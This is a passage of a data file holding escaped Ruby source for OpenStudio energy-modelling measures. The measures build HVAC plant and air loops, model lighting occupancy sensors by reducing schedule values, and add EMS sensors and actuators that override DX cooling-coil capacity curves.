# Create a chilled water system to serve the DOAS\n chilled_water_plant = OpenStudio::Model::PlantLoop.new(model)\n chilled_water_plant.setName(\"Chilled Water Loop\")\n chilled_water_plant.setMaximumLoopTemperature(98)\n chilled_water_plant.setMinimumLoopTemperature(1)\n loop_sizing = chilled_water_plant.sizingPlant\n loop_sizing.setLoopType(\"Cooling\")\n loop_sizing.setDesignLoopExitTemperature(6.7) \n loop_sizing.setLoopDesignTemperatureDifference(6.7)\n \n # Create a pump\n pump = OpenStudio::Model::PumpVariableSpeed.new(model)\n pump.setRatedPumpHead(149453) #Pa\n pump.setMotorEfficiency(0.9)\n pump.setCoefficient1ofthePartLoadPerformanceCurve(0)\n pump.setCoefficient2ofthePartLoadPerformanceCurve(0.0216)\n pump.setCoefficient3ofthePartLoadPerformanceCurve(-0.0325)\n pump.setCoefficient4ofthePartLoadPerformanceCurve(1.0095)\n \n # Create a chiller\n # Create clgCapFuncTempCurve\n clgCapFuncTempCurve = OpenStudio::Model::CurveBiquadratic.new(model)\n clgCapFuncTempCurve.setCoefficient1Constant(1.05E+00)\n clgCapFuncTempCurve.setCoefficient2x(3.36E-02)\n clgCapFuncTempCurve.setCoefficient3xPOW2(2.15E-04)\n clgCapFuncTempCurve.setCoefficient4y(-5.18E-03)\n clgCapFuncTempCurve.setCoefficient5yPOW2(-4.42E-05)\n clgCapFuncTempCurve.setCoefficient6xTIMESY(-2.15E-04)\n clgCapFuncTempCurve.setMinimumValueofx(0)\n clgCapFuncTempCurve.setMaximumValueofx(20)\n clgCapFuncTempCurve.setMinimumValueofy(0)\n clgCapFuncTempCurve.setMaximumValueofy(50)\n \n # Create eirFuncTempCurve\n eirFuncTempCurve = OpenStudio::Model::CurveBiquadratic.new(model)\n eirFuncTempCurve.setCoefficient1Constant(5.83E-01)\n eirFuncTempCurve.setCoefficient2x(-4.04E-03)\n eirFuncTempCurve.setCoefficient3xPOW2(4.68E-04)\n eirFuncTempCurve.setCoefficient4y(-2.24E-04)\n eirFuncTempCurve.setCoefficient5yPOW2(4.81E-04)\n eirFuncTempCurve.setCoefficient6xTIMESY(-6.82E-04)\n eirFuncTempCurve.setMinimumValueofx(0)\n eirFuncTempCurve.setMaximumValueofx(20)\n eirFuncTempCurve.setMinimumValueofy(0)\n eirFuncTempCurve.setMaximumValueofy(50)\n \n # Create eirFuncPlrCurve\n eirFuncPlrCurve = OpenStudio::Model::CurveQuadratic.new(model)\n eirFuncPlrCurve.setCoefficient1Constant(4.19E-02)\n eirFuncPlrCurve.setCoefficient2x(6.25E-01)\n eirFuncPlrCurve.setCoefficient3xPOW2(3.23E-01)\n eirFuncPlrCurve.setMinimumValueofx(0)\n eirFuncPlrCurve.setMaximumValueofx(1.2)\n \n # Construct chiller\n chiller = OpenStudio::Model::ChillerElectricEIR.new(model,clgCapFuncTempCurve,eirFuncTempCurve,eirFuncPlrCurve)\n chiller.setReferenceCOP(2.93)\n chiller.setCondenserType(\"AirCooled\")\n chiller.setChillerFlowMode(\"ConstantFlow\")\n \n # Create a scheduled setpoint manager\n chilled_water_setpoint_schedule = OsLib_Schedules.createComplexSchedule(model, {\"name\" => \"AEDG CW-Loop-Temp-Schedule\",\n \"default_day\" => [\"All Days\",[24,6.7]]})\n setpoint_manager_scheduled = OpenStudio::Model::SetpointManagerScheduled.new(model,chilled_water_setpoint_schedule)\n # Create a supply bypass pipe\n pipe_supply_bypass = OpenStudio::Model::PipeAdiabatic.new(model)\n # Create a supply outlet pipe\n pipe_supply_outlet = OpenStudio::Model::PipeAdiabatic.new(model)\n # Create a demand bypass pipe\n pipe_demand_bypass = OpenStudio::Model::PipeAdiabatic.new(model)\n # Create a demand inlet pipe\n pipe_demand_inlet = OpenStudio::Model::PipeAdiabatic.new(model)\n # Create a demand outlet pipe\n pipe_demand_outlet = OpenStudio::Model::PipeAdiabatic.new(model)\n \n # Connect supply side components to plant loop\n chilled_water_plant.addSupplyBranchForComponent(chiller)\n chilled_water_plant.addSupplyBranchForComponent(pipe_supply_bypass)\n pump.addToNode(chilled_water_plant.supplyInletNode)\n pipe_supply_outlet.addToNode(chilled_water_plant.supplyOutletNode)\n setpoint_manager_scheduled.addToNode(chilled_water_plant.supplyOutletNode)\n \n # Connect demand side components to plant loop.\n # Water coils are added as they are added to airloops and ZoneHVAC.\n chilled_water_plant.addDemandBranchForComponent(pipe_demand_bypass)\n pipe_demand_inlet.addToNode(chilled_water_plant.demandInletNode)\n pipe_demand_outlet.addToNode(chilled_water_plant.demandOutletNode)\n\n \n \n # Create a hot water system to serve the DOAS\n hot_water_plant = OpenStudio::Model::PlantLoop.new(model)\n hot_water_plant.setName(\"Hot Water Loop\")\n hot_water_plant.setMaximumLoopTemperature(100)\n hot_water_plant.setMinimumLoopTemperature(10)\n loop_sizing = hot_water_plant.sizingPlant\n loop_sizing.setLoopType(\"Heating\")\n loop_sizing.setDesignLoopExitTemperature(82) \n loop_sizing.setLoopDesignTemperatureDifference(11)\n \n # Create a pump\n pump = OpenStudio::Model::PumpVariableSpeed.new(model)\n pump.setRatedPumpHead(119563) #Pa\n pump.setMotorEfficiency(0.9)\n pump.setCoefficient1ofthePartLoadPerformanceCurve(0)\n pump.setCoefficient2ofthePartLoadPerformanceCurve(0.0216)\n pump.setCoefficient3ofthePartLoadPerformanceCurve(-0.0325)\n pump.setCoefficient4ofthePartLoadPerformanceCurve(1.0095)\n \n # Create a boiler\n boiler = OpenStudio::Model::BoilerHotWater.new(model)\n boiler.setNominalThermalEfficiency(0.9)\n \n # Create a scheduled setpoint manager\n # Create a scheduled setpoint manager\n hot_water_setpoint_schedule = OsLib_Schedules.createComplexSchedule(model, {\"name\" => \"AEDG HW-Loop-Temp-Schedule\",\n \"default_day\" => [\"All Days\",[24,67.0]]})\n setpoint_manager_scheduled = OpenStudio::Model::SetpointManagerScheduled.new(model,hot_water_setpoint_schedule)\n \n # Create a supply bypass pipe\n pipe_supply_bypass = OpenStudio::Model::PipeAdiabatic.new(model)\n # Create a supply outlet pipe\n pipe_supply_outlet = OpenStudio::Model::PipeAdiabatic.new(model)\n # Create a demand bypass pipe\n pipe_demand_bypass = OpenStudio::Model::PipeAdiabatic.new(model)\n # Create a demand inlet pipe\n pipe_demand_inlet = OpenStudio::Model::PipeAdiabatic.new(model)\n # Create a demand outlet pipe\n pipe_demand_outlet = OpenStudio::Model::PipeAdiabatic.new(model)\n \n # Connect supply side components to plant loop\n hot_water_plant.addSupplyBranchForComponent(boiler)\n hot_water_plant.addSupplyBranchForComponent(pipe_supply_bypass)\n pump.addToNode(hot_water_plant.supplyInletNode)\n pipe_supply_outlet.addToNode(hot_water_plant.supplyOutletNode)\n setpoint_manager_scheduled.addToNode(hot_water_plant.supplyOutletNode)\n \n # Connect demand side components to plant loop.\n # Water coils are added as they are added to airloops and ZoneHVAC.\n hot_water_plant.addDemandBranchForComponent(pipe_demand_bypass)\n pipe_demand_inlet.addToNode(hot_water_plant.demandInletNode)\n pipe_demand_outlet.addToNode(hot_water_plant.demandOutletNode)\n\n \n # Create a single DOAS system to serve all the zones\n doas_air_loop = OpenStudio::Model::AirLoopHVAC.new(model)\n doas_air_loop.setName(\"DOAS\")\n \n # Modify system sizing properties\n sizing_system = doas_air_loop.sizingSystem\n sizing_system.setCentralCoolingDesignSupplyAirTemperature(12.8)\n sizing_system.setCentralHeatingDesignSupplyAirTemperature(40)\n sizing_system.setTypeofLoadtoSizeOn(\"VentilationRequirement\") #DOAS\n sizing_system.setAllOutdoorAirinCooling(true) #DOAS\n sizing_system.setAllOutdoorAirinHeating(true) #DOAS\n sizing_system.setMinimumSystemAirFlowRatio(0.3) #DCV\n \n # Set availability schedule\n doas_air_loop.setAvailabilitySchedule(building_HVAC_schedule)\n \n # Add each component to this array\n # to be attached to doas air loop later\n air_loop_comps = []\n \n # Create variable speed fan\n fan = OpenStudio::Model::FanVariableVolume.new(model, model.alwaysOnDiscreteSchedule)\n fan.setFanEfficiency(0.69)\n fan.setPressureRise(1125) #Pa\n fan.autosizeMaximumFlowRate()\n fan.setFanPowerMinimumFlowFraction(0.6)\n fan.setMotorEfficiency(0.9)\n fan.setMotorInAirstreamFraction(1.0)\n air_loop_comps << fan \n \n # Create hot water heating coil\n heating_coil = OpenStudio::Model::CoilHeatingWater.new(model, model.alwaysOnDiscreteSchedule)\n air_loop_comps << heating_coil\n \n # Create chilled water cooling coil\n cooling_coil = OpenStudio::Model::CoilCoolingWater.new(model, model.alwaysOnDiscreteSchedule)\n air_loop_comps << cooling_coil\n \n # Create controller outdoor air\n controller_OA = OpenStudio::Model::ControllerOutdoorAir.new(model)\n controller_OA.autosizeMinimumOutdoorAirFlowRate()\n controller_OA.autosizeMaximumOutdoorAirFlowRate()\n \n # Create ventilation schedules and assign to OA controller\n controller_OA.setMinimumFractionofOutdoorAirSchedule(model.alwaysOnDiscreteSchedule)\n controller_OA.setMaximumFractionofOutdoorAirSchedule(model.alwaysOnDiscreteSchedule) \n controller_OA.setHeatRecoveryBypassControlType(\"BypassWhenOAFlowGreaterThanMinimum\")\n \n # Create outdoor air system\n system_OA = OpenStudio::Model::AirLoopHVACOutdoorAirSystem.new(model, controller_OA)\n air_loop_comps << system_OA\n \n # Create ERV\n heat_exchanger = OpenStudio::Model::HeatExchangerAirToAirSensibleAndLatent.new(model)\n heat_exchanger.setAvailabilitySchedule(model.alwaysOnDiscreteSchedule)\n sensible_eff = 0.75\n latent_eff = 0.69\n heat_exchanger.setSensibleEffectivenessat100CoolingAirFlow(sensible_eff)\n heat_exchanger.setSensibleEffectivenessat100HeatingAirFlow(sensible_eff)\n heat_exchanger.setSensibleEffectivenessat75CoolingAirFlow(sensible_eff)\n heat_exchanger.setSensibleEffectivenessat75HeatingAirFlow(sensible_eff)\n heat_exchanger.setLatentEffectivenessat100CoolingAirFlow(latent_eff)\n heat_exchanger.setLatentEffectivenessat100HeatingAirFlow(latent_eff)\n heat_exchanger.setLatentEffectivenessat75CoolingAirFlow(latent_eff)\n heat_exchanger.setLatentEffectivenessat75HeatingAirFlow(latent_eff)\n heat_exchanger.setFrostControlType(\"ExhaustOnly\")\n heat_exchanger.setThresholdTemperature(-12.2)\n heat_exchanger.setInitialDefrostTimeFraction(0.1670)\n heat_exchanger.setRateofDefrostTimeFractionIncrease(0.0240)\n heat_exchanger.setEconomizerLockout(false)\n heat_exchanger.addToNode(system_OA.outboardOANode.get)\n\n # Create scheduled setpoint manager for airloop\n primary_sat_schedule = OsLib_Schedules.createComplexSchedule(model, {\"name\" => \"AEDG Cold Deck Temperature Setpoint Schedule\",\n \"default_day\" => [\"All Days\",[24,12.8]]})\n setpoint_manager = OpenStudio::Model::SetpointManagerScheduled.new(model,primary_sat_schedule)\n \n \n # Connect components to airloop\n # find the supply inlet node of the airloop\n airloop_supply_inlet = doas_air_loop.supplyInletNode\n air_loop_comps.each do |comp|\n comp.addToNode(airloop_supply_inlet)\n if comp.to_CoilHeatingWater.is_initialized\n hot_water_plant.addDemandBranchForComponent(comp)\n comp.controllerWaterCoil.get.setMinimumActuatedFlow(0)\n elsif comp.to_CoilCoolingWater.is_initialized\n chilled_water_plant.addDemandBranchForComponent(comp)\n comp.controllerWaterCoil.get.setMinimumActuatedFlow(0)\n end\n end\n setpoint_manager.addToNode(doas_air_loop.supplyOutletNode)\n \n # Make an air terminal for the doas for each zone\n model.getThermalZones.each do |zone| # TODO more intelligent way to skip attics & plenums\n next if zone.name.get.include?(\"Attic\")\n air_terminal = OpenStudio::Model::AirTerminalSingleDuctVAVNoReheat.new(model, model.alwaysOnDiscreteSchedule)\n doas_air_loop.addBranchForZone(zone, air_terminal.to_StraightComponent)\n end\n \n \n # Create a condenser loop to serve the GSHPs\n gshp_loop = OpenStudio::Model::PlantLoop.new(model)\n gshp_loop.setName(\"AEDG Heat Pump Loop\")\n gshp_loop.setMaximumLoopTemperature(80)\n gshp_loop.setMinimumLoopTemperature(1)\n loop_sizing = gshp_loop.sizingPlant\n loop_sizing.setLoopType(\"Condenser\")\n loop_sizing.setDesignLoopExitTemperature(21)\n loop_sizing.setLoopDesignTemperatureDifference(5) \n \n # Create a pump\n pump = OpenStudio::Model::PumpVariableSpeed.new(model)\n pump.setRatedPumpHead(134508) #Pa\n pump.setMotorEfficiency(0.9)\n pump.setCoefficient1ofthePartLoadPerformanceCurve(0)\n pump.setCoefficient2ofthePartLoadPerformanceCurve(0.0216)\n pump.setCoefficient3ofthePartLoadPerformanceCurve(-0.0325)\n pump.setCoefficient4ofthePartLoadPerformanceCurve(1.0095)\n \n # Create a supply bypass pipe\n pipe_supply_bypass = OpenStudio::Model::PipeAdiabatic.new(model)\n # Create a supply outlet pipe\n pipe_supply_outlet = OpenStudio::Model::PipeAdiabatic.new(model)\n # Create a demand bypass pipe\n pipe_demand_bypass = OpenStudio::Model::PipeAdiabatic.new(model)\n # Create a demand inlet pipe\n pipe_demand_inlet = OpenStudio::Model::PipeAdiabatic.new(model)\n # Create a demand outlet pipe\n pipe_demand_outlet = OpenStudio::Model::PipeAdiabatic.new(model)\n \n # Create setpoint managers\n hp_loop_cooling_sch = OsLib_Schedules.createComplexSchedule(model, {\"name\" => \"AEDG HP-Loop-Clg-Temp-Schedule\",\n \"default_day\" => [\"All Days\",[24,21]]})\n hp_loop_heating_sch = OsLib_Schedules.createComplexSchedule(model, {\"name\" => \"AEDG HP-Loop-Htg-Temp-Schedule\",\n \"default_day\" => [\"All Days\",[24,5]]})\n setpoint_manager_scheduled_loop = OpenStudio::Model::SetpointManagerScheduled.new(model,hp_loop_cooling_sch)\n setpoint_manager_scheduled_cooling = OpenStudio::Model::SetpointManagerScheduled.new(model,hp_loop_cooling_sch)\n setpoint_manager_scheduled_heating = OpenStudio::Model::SetpointManagerScheduled.new(model,hp_loop_heating_sch)\n \n # Connect supply components to plant loop\n gshp_loop.addSupplyBranchForComponent(pipe_supply_bypass)\n pump.addToNode(gshp_loop.supplyInletNode)\n pipe_supply_outlet.addToNode(gshp_loop.supplyOutletNode)\n setpoint_manager_scheduled_loop.addToNode(gshp_loop.supplyOutletNode)\n \n # Connect demand components to plant loop\n gshp_loop.addDemandBranchForComponent(pipe_demand_bypass)\n pipe_demand_inlet.addToNode(gshp_loop.demandInletNode)\n pipe_demand_outlet.addToNode(gshp_loop.demandOutletNode)\n # add additional components according to specific system type\n # add district cooling and heating to supply side\n district_cooling = OpenStudio::Model::DistrictCooling.new(model)\n district_cooling.setNominalCapacity(1000000000000) # large number; no autosizing\n gshp_loop.addSupplyBranchForComponent(district_cooling)\n setpoint_manager_scheduled_cooling.addToNode(district_cooling.outletModelObject.get.to_Node.get)\n district_heating = OpenStudio::Model::DistrictHeating.new(model)\n district_heating.setNominalCapacity(1000000000000) # large number; no autosizing\n district_heating.addToNode(district_cooling.outletModelObject.get.to_Node.get)\n setpoint_manager_scheduled_heating.addToNode(district_heating.outletModelObject.get.to_Node.get)\n\n # Create the WSHP for each zone\n model.getThermalZones.each do |zone|\n next if zone.name.get.include?(\"Attic\") # TODO more intelligent way to skip attics & plenums\n # Create fan\n fan = OpenStudio::Model::FanOnOff.new(model, model.alwaysOnDiscreteSchedule)\n fan.setFanEfficiency(0.5)\n fan.setPressureRise(75) #Pa\n fan.autosizeMaximumFlowRate()\n fan.setMotorEfficiency(0.9)\n fan.setMotorInAirstreamFraction(1.0)\n \n # Create cooling coil and connect to heat pump loop\n cooling_coil = OpenStudio::Model::CoilCoolingWaterToAirHeatPumpEquationFit.new(model)\n cooling_coil.setRatedCoolingCoefficientofPerformance(6.45)\n cooling_coil.setTotalCoolingCapacityCoefficient1(-9.149069561)\n cooling_coil.setTotalCoolingCapacityCoefficient2(10.87814026)\n cooling_coil.setTotalCoolingCapacityCoefficient3(-1.718780157)\n cooling_coil.setTotalCoolingCapacityCoefficient4(0.746414818)\n cooling_coil.setTotalCoolingCapacityCoefficient5(0.0)\n cooling_coil.setSensibleCoolingCapacityCoefficient1(-5.462690012)\n cooling_coil.setSensibleCoolingCapacityCoefficient2(17.95968138)\n cooling_coil.setSensibleCoolingCapacityCoefficient3(-11.87818402)\n cooling_coil.setSensibleCoolingCapacityCoefficient4(-0.980163419)\n cooling_coil.setSensibleCoolingCapacityCoefficient5(0.767285761)\n cooling_coil.setSensibleCoolingCapacityCoefficient6(0.0)\n cooling_coil.setCoolingPowerConsumptionCoefficient1(-3.205409884)\n cooling_coil.setCoolingPowerConsumptionCoefficient2(-0.976409399)\n cooling_coil.setCoolingPowerConsumptionCoefficient3(3.97892546)\n cooling_coil.setCoolingPowerConsumptionCoefficient4(0.938181818)\n cooling_coil.setCoolingPowerConsumptionCoefficient5(0.0)\n gshp_loop.addDemandBranchForComponent(cooling_coil)\n \n # Create heating coil and connect to heat pump loop\n heating_coil = OpenStudio::Model::CoilHeatingWaterToAirHeatPumpEquationFit.new(model)\n heating_coil.setRatedHeatingCoefficientofPerformance(4.0)\n heating_coil.setHeatingCapacityCoefficient1(-1.361311959)\n heating_coil.setHeatingCapacityCoefficient2(-2.471798046)\n heating_coil.setHeatingCapacityCoefficient3(4.173164514)\n heating_coil.setHeatingCapacityCoefficient4(0.640757401)\n heating_coil.setHeatingCapacityCoefficient5(0.0)\n heating_coil.setHeatingPowerConsumptionCoefficient1(-2.176941116)\n heating_coil.setHeatingPowerConsumptionCoefficient2(0.832114286)\n heating_coil.setHeatingPowerConsumptionCoefficient3(1.570743399)\n heating_coil.setHeatingPowerConsumptionCoefficient4(0.690793651)\n heating_coil.setHeatingPowerConsumptionCoefficient5(0.0)\n gshp_loop.addDemandBranchForComponent(heating_coil)\n \n # Create supplemental heating coil\n supplemental_heating_coil = OpenStudio::Model::CoilHeatingElectric.new(model, model.alwaysOnDiscreteSchedule)\n \n # Construct heat pump\n heat_pump = OpenStudio::Model::ZoneHVACWaterToAirHeatPump.new(model,\n model.alwaysOnDiscreteSchedule,\n fan,\n heating_coil,\n cooling_coil,\n supplemental_heating_coil)\n heat_pump.setSupplyAirFlowRateWhenNoCoolingorHeatingisNeeded(OpenStudio::OptionalDouble.new(0))\n heat_pump.setOutdoorAirFlowRateDuringCoolingOperation(OpenStudio::OptionalDouble.new(0))\n heat_pump.setOutdoorAirFlowRateDuringHeatingOperation(OpenStudio::OptionalDouble.new(0))\n heat_pump.setOutdoorAirFlowRateWhenNoCoolingorHeatingisNeeded(OpenStudio::OptionalDouble.new(0))\n \n # Add heat pump to thermal zone\n heat_pump.addToThermalZone(zone)\n end\n \n \n return true\n\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # Return N/A if not selected to run\n run_measure = runner.getIntegerArgumentValue(\"run_measure\",user_arguments)\n if run_measure == 0\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\n return true \n end \n \n\n percent_runtime_reduction = runner.getDoubleArgumentValue(\"percent_runtime_reduction\",user_arguments)\n\n \n \n # Check arguments for reasonableness\n if percent_runtime_reduction >= 100\n runner.registerError(\"Percent runtime reduction must be less than 100.\")\n return false\n end\n\n # Find all the original schedules (before occ sensors installed)\n original_lts_schedules = []\n model.getLightss.each do |light_fixture|\n if light_fixture.schedule.is_initialized\n original_lts_schedules << light_fixture.schedule.get\n end\n end \n\n # Make copies of all the original lights schedules, reduced to include occ sensor impact\n original_schs_new_schs = {}\n original_lts_schedules.uniq.each do |orig_sch|\n # Copy the original schedule\n new_sch = orig_sch.clone.to_ScheduleRuleset.get\n new_sch.setName(\"#{new_sch.name.get} with occ sensor\")\n # Reduce each value in each profile (except the design days) by the specified amount\n runner.registerInfo(\"Reducing values in '#{orig_sch.name}' schedule by #{percent_runtime_reduction}% to represent occ sensor installation.\")\n day_profiles = []\n day_profiles << new_sch.defaultDaySchedule\n new_sch.scheduleRules.each do |rule|\n day_profiles << rule.daySchedule\n end\n multiplier = (100 - percent_runtime_reduction)/100\n day_profiles.each do |day_profile|\n #runner.registerInfo(\"#{day_profile.name}\")\n times_vals = day_profile.times.zip(day_profile.values)\n #runner.registerInfo(\"original time/values = #{times_vals}\")\n times_vals.each do |time,val|\n day_profile.addValue(time, val * multiplier)\n end\n #runner.registerInfo(\"new time/values = #{day_profile.times.zip(day_profile.values)}\")\n end \n #log the relationship between the old sch and the new, reduced sch\n original_schs_new_schs[orig_sch] = new_sch\n end\n \n # Replace the old schedules with the new, reduced schedules\n spaces_sensors_added_to = []\n model.getLightss.each do |light_fixture|\n next if light_fixture.schedule.empty?\n lights_sch = light_fixture.schedule.get\n new_sch = original_schs_new_schs[lights_sch]\n if new_sch\n runner.registerInfo(\"Added occupancy sensor for '#{light_fixture.name}'\")\n light_fixture.setSchedule(new_sch)\n spaces_sensors_added_to << light_fixture.space\n end\n end\n \n # Report if the measure is not applicable\n num_sensors_added = spaces_sensors_added_to.uniq.size\n if spaces_sensors_added_to.size == 0\n runner.registerAsNotApplicable(\"This measure is not applicable because there were no lights in the building.\")\n return true\n end \n \n # Report final condition\n runner.registerFinalCondition(\"Added occupancy sensors to #{num_sensors_added} spaces in the building.\")\n\n return true\n\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n verbose_info_statements = runner.getBoolArgumentValue(\"verbose_info_statements\",user_arguments)\n coil_cooling_DX_single_speed_objects = runner.getOptionalWorkspaceObjectChoiceValue('coil_cooling_DX_single_speed_objects', user_arguments, model) # model is passed in because of argument type\n oa_db_curve_threshold_temp = runner.getDoubleArgumentValue(\"oa_db_curve_threshold_temp\",user_arguments)\n c2_a = runner.getDoubleArgumentValue(\"c2_a\",user_arguments)\n c2_b = runner.getDoubleArgumentValue(\"c2_b\",user_arguments)\n c2_c = runner.getDoubleArgumentValue(\"c2_c\",user_arguments)\n c2_d = runner.getDoubleArgumentValue(\"c2_d\",user_arguments)\n c2_e = runner.getDoubleArgumentValue(\"c2_e\",user_arguments)\n c2_f = runner.getDoubleArgumentValue(\"c2_f\",user_arguments)\n internal_variable_availability_dictionary_reporting = runner.getStringArgumentValue('internal_variable_availability_dictionary_reporting', user_arguments)\n ems_runtime_language_debug_output_level = runner.getStringArgumentValue('ems_runtime_language_debug_output_level', user_arguments)\n actuator_availability_dictionary_reporting = runner.getStringArgumentValue('actuator_availability_dictionary_reporting', user_arguments)\n\n runner.registerInitialCondition(\"Measure began with #{model.getEnergyManagementSystemSensors.count} EMS sensors, #{model.getEnergyManagementSystemActuators.count} EMS Actuators, #{model.getEnergyManagementSystemPrograms.count} EMS Programs, #{model.getEnergyManagementSystemSubroutines.count} EMS Subroutines, #{model.getEnergyManagementSystemProgramCallingManagers.count} EMS Program Calling Manager objects\")\n\n # convert threshold temperature to SI \n oa_db_curve_threshold_temp_SI = OpenStudio.convert(oa_db_curve_threshold_temp,\"F\",\"C\")\n\n # check the dx cooling coils for existence in model\n apply_to_all_dx_single_speed_coils = false\n selected_dx_clg_coils = nil\n \n if coil_cooling_DX_single_speed_objects.empty?\n handle = runner.getStringArgumentValue('coil_cooling_DX_single_speed_objects', user_arguments)\n if handle.empty?\n runner.registerError('No dx coil object was chosen.')\n return false\n else\n runner.registerError(\"The selected single speed dx cooling coil with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n return false\n end\n else\n if !coil_cooling_DX_single_speed_objects.get.to_CoilCoolingDXSingleSpeed.empty?\n selected_dx_clg_coils = coil_cooling_DX_single_speed_objects.get.to_CoilCoolingDXSingleSpeed.get\n elsif !coil_cooling_DX_single_speed_objects.get.to_Building.empty?\n apply_to_all_plantloops = true\n else\n runner.registerError('Script Error - argument not showing up as a dx cooling coil.')\n return false\n end\n end\n\n # define selected single speed dx cooling coils), depending on user input, add selected coil(s) to an array\n selected_dx_single_speed_clg_coils = []\n if apply_to_all_plantloops == true\n model.getCoilCoolingDXSingleSpeeds.each do |each_dx_coil|\n selected_dx_single_speed_clg_coils << each_dx_coil\n end\n else \n selected_dx_single_speed_clg_coils << selected_dx_clg_coils\n end\n if selected_dx_single_speed_clg_coils.length == 0\n runner.registerAsNotApplicable(\"Model contains no 'qualified' single speed dx cooling coils attached to PTHP Zone HVAC for this measure to modify.\") \n return true\n end\n \n # declare variables for proper scope\n counter = 0\n oa_db_EMS_sensor = nil\n ems_curve_overwrite_mngr_prgm = nil\n ems_prgm_calling_mngr = nil\n dx_coil_inlet_node = nil\n dx_coil_outlet_node = nil\n oa_mixer_inlet_node_name = nil\n pthp = nil\n \n # Create a 'stub' object for the EnergyManagementSystem:Program object for overriding DX Single Speed clg coil capacity curves \n ems_curve_overwrite_mngr_prgm = OpenStudio::Model::EnergyManagementSystemProgram.new(model)\n ems_curve_overwrite_mngr_prgm.setName(\"CurveOverwriteMGR\")\n if verbose_info_statements == true\n runner.registerInfo(\"EMS Program object named '#{ems_curve_overwrite_mngr_prgm.name}' added to control when clg coil capacity curves will be overridden.\") \n end\n \n # Create a new EnergyManagementSystem:ProgramCallingManager object configured to call the EMS program\n ems_prgm_calling_mngr = OpenStudio::Model::EnergyManagementSystemProgramCallingManager.new(model)\n ems_prgm_calling_mngr.setName(\"EMSBasedCurveManager\")\n ems_prgm_calling_mngr.setCallingPoint(\"AfterPredictorBeforeHVACManagers\")\n ems_prgm_calling_mngr.addProgram(ems_curve_overwrite_mngr_prgm) \n if verbose_info_statements == true\n runner.registerInfo(\"EMS Program Calling Manager object named '#{ems_prgm_calling_mngr.name}' added to call #{ems_curve_overwrite_mngr_prgm.name} EMS program.\") \n end\n \n # Loop through selected plantloops\n selected_dx_single_speed_clg_coils.each do |dx_clg_coil|\n \n counter += 1\n \n # get curve name for dx_clg_coil object\n cap_curve = dx_clg_coil.totalCoolingCapacityFunctionOfTemperatureCurve\n # Retrieve existing coefficients from curve\n \n if not cap_curve.to_CurveBiquadratic.empty?\n curve_obj = cap_curve.to_CurveBiquadratic.get\n c1_a = curve_obj.coefficient1Constant \n c1_b = curve_obj.coefficient2x\n c1_c = curve_obj.coefficient3xPOW2\n c1_d = curve_obj.coefficient4y\n c1_e = curve_obj.coefficient5yPOW2\n c1_f = curve_obj.coefficient6xTIMESY\n if verbose_info_statements == true\n runner.registerInfo(\"retrieve coefficient values of existing Biquadratic curve named #{cap_curve.name} associated with the DX Single Speed Cooling coil named #{dx_clg_coil.name}.\")\n end\n else\n runner.registerError(\"This measure requires the Total Cooling Capacity Function Of Temperature Curve named #{cap_curve.name} associated with the DX Single Speed Cooling coil named #{dx_clg_coil} to be a BiQuadratic Curve. Please correct and re-run.\")\n return false\n end \n \n # retrieve parent PTHP object for 'feedforward' node naming that occurs in osm->idf translator\n if not dx_clg_coil.containingZoneHVACComponent.empty?\n zone_HVAC_component = dx_clg_coil.containingZoneHVACComponent.get\n if not zone_HVAC_component.to_ZoneHVACPackagedTerminalHeatPump.empty?\n pthp = zone_HVAC_component.to_ZoneHVACPackagedTerminalHeatPump.get\n\n # get dx_clg_coil object inlet node\n # Use PTHP name pattern \"<PTHP_NAME> MIXED AIR NODE\" Per conversation with Kyle Benne on 4/11/2018,\n dx_coil_inlet_node = \"#{pthp.name} Mixed Air Node\" \n\n #get dx_clg_coil object outlet node\n # Use PTHP name pattern \"<PTHP_NAME> COOLING COIL OUTLET NODE\" Per conversation with Kyle Benne on 4/11/2018,\n dx_coil_outlet_node = \"#{pthp.name} Cooling Coil Outlet Node\" \n \n # get OA mixer object (outdoor air inlet temperature) and (outdoor air inlet pressure) nodes \n # Use PTHP name pattern \"<PTHP_NAME> OA NODE\" Per conversation with Kyle Benne on 4/11/2018,\n oa_mixer_inlet_node_name = \"#{pthp.name} OA Node\"\n\n end\n end \n \n # create a new EMS Actuator Object representing the cooling capacity as a function of temperature curve \n ems_clg_cap_func_temp_curve_actuator = OpenStudio::Model::EnergyManagementSystemActuator.new(cap_curve,\"Curve\",\"Curve Result\")\n ems_clg_cap_func_temp_curve_actuator.setName(\"CurveOverwrite#{counter}\".gsub(\"-\",\"_\"))\n if verbose_info_statements == true\n runner.registerInfo(\"EMS Actuator object named '#{ems_clg_cap_func_temp_curve_actuator.name}' representing the 'clg curve as a function of temp' object associated with dx cooling coil object named #{dx_clg_coil.name}.\") \n end\n # create new EnergyManagementSystem:GlobalVariable object and configure to hold EMS program results before modifying the curve output\n ems_curve_input_gv = OpenStudio::Model::EnergyManagementSystemGlobalVariable.new(model, \"CurveInput2_#{counter}\")\n if verbose_info_statements == true\n runner.registerInfo(\"EMS Global Variable object named '#{ems_curve_input_gv.name}' representing results of evaluating the new performance curve associated with #{dx_clg_coil.name} added to the model.\") \n end\n \n # create new EMS Sensor Object representing 'DX Coil capacity as function of temp' curve \n ems_actual_curve_sensor = OpenStudio::Model::EnergyManagementSystemSensor.new(model, \"Performance Curve Output Value\")\n ems_actual_curve_sensor.setName(\"ActualCurve#{counter}\")\n ems_actual_curve_sensor.setKeyName(\"#{cap_curve.name}\")\n if verbose_info_statements == true\n runner.registerInfo(\"EMS Sensor object named #{ems_actual_curve_sensor.name} added to the model to represent the 'Clg Capacity as a Function of Temp' curve associated with the DX cooling coil object named #{dx_clg_coil.name}.\")\n end\n \n #Create new EMS Sensor Object representing OA Mixer inlet node pressure \n ems_oa_mixer_inlet_node_pressure_sensor = OpenStudio::Model::EnergyManagementSystemSensor.new(model, \"System Node Pressure\")\n ems_oa_mixer_inlet_node_pressure_sensor.setName(\"Pressure#{counter}\")\n ems_oa_mixer_inlet_node_pressure_sensor.setKeyName(\"#{oa_mixer_inlet_node_name}\")\n if verbose_info_statements == true\n runner.registerInfo(\"EMS Sensor object named #{ems_oa_mixer_inlet_node_pressure_sensor.name} added to the model to represent the 'System Node Pressure' associated with the inlet node of the Outdoor 